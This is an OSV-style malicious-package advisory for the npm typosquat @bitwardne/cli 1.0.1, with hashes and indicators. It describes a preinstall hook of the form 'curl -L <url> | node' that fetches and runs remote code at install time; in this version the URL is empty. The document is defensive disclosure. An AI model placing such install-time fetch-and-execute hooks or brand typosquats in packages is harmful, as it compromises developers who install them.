{"id":"MAL-2026-17693","summary":"Malicious code in @bitwardne/cli (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cf7d0b3168a3a56cb6208688970e6109a964ccfb99a97fe7061d57e007b67ca6)\npackage.json declares a preinstall lifecycle script of the form 'curl -L \u003curl\u003e | node', which fetches remote content and executes it in Node at npm install time. In this published version the URL slot is empty so the command fails as shipped, but the script shape is a canonical install-time remote-code-execution dropper that fires automatically on `npm install`. The package is published under the @bitwardne scope — a one-character variation of the Bitwarden brand — while the shipped source is a verbatim copy of the unrelated 'cli' option-parser library by Chris O'Hara (homepage node-js-libs/cli), with no legitimate connection between the scope name and the vendored code.\n","modified":"2026-10-08T17:25:14.092218020Z","published":"2026-10-08T16:53:40Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-10-08T17:17:19.186538972Z","modified_time":"2026-10-08T16:53:40Z","sha256":"cf7d0b3168a3a56cb6208688970e6109a964ccfb99a97fe7061d57e007b67ca6","source":"amazon-inspector","versions":["1.0.1"],"id":"IN-MAL-2026-021212"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@bitwardne/cli/v/1.0.1"}],"affected":[{"package":{"name":"@bitwardne/cli","ecosystem":"npm","purl":"pkg:npm/%40bitwardne/cli"},"versions":["1.0.1"],"database_specific":{"indicators":{"evidence_files":[{"sha256":"006c8facf58a8c21b5564c575bcbefb5375e1f5f7df0a9e25d6a473a57679e8f","tlsh":"1201c06607ed9c752f819fc8fdfebcc498fa121286d8c48ba0a6dd0882551c6745f1e4","path":"package.json"}],"package_integrity":[{"filename":"cli-1.0.1.tgz","hashes":{"sha1":"c475ed5a8e7787ce4285f9f88fc09c7c7445c78e","sha512_sri":"sha512-9lepiqc0snkDE4JLMAZ7VEEYb6qgDpQ3UT7ejpuk2c0c8JWE3Eu/oZT63CjpiY+pgYSB3820FxDv8I2tTTRI5A=="}}]},"cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@bitwardne/cli/MAL-2026-17693.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}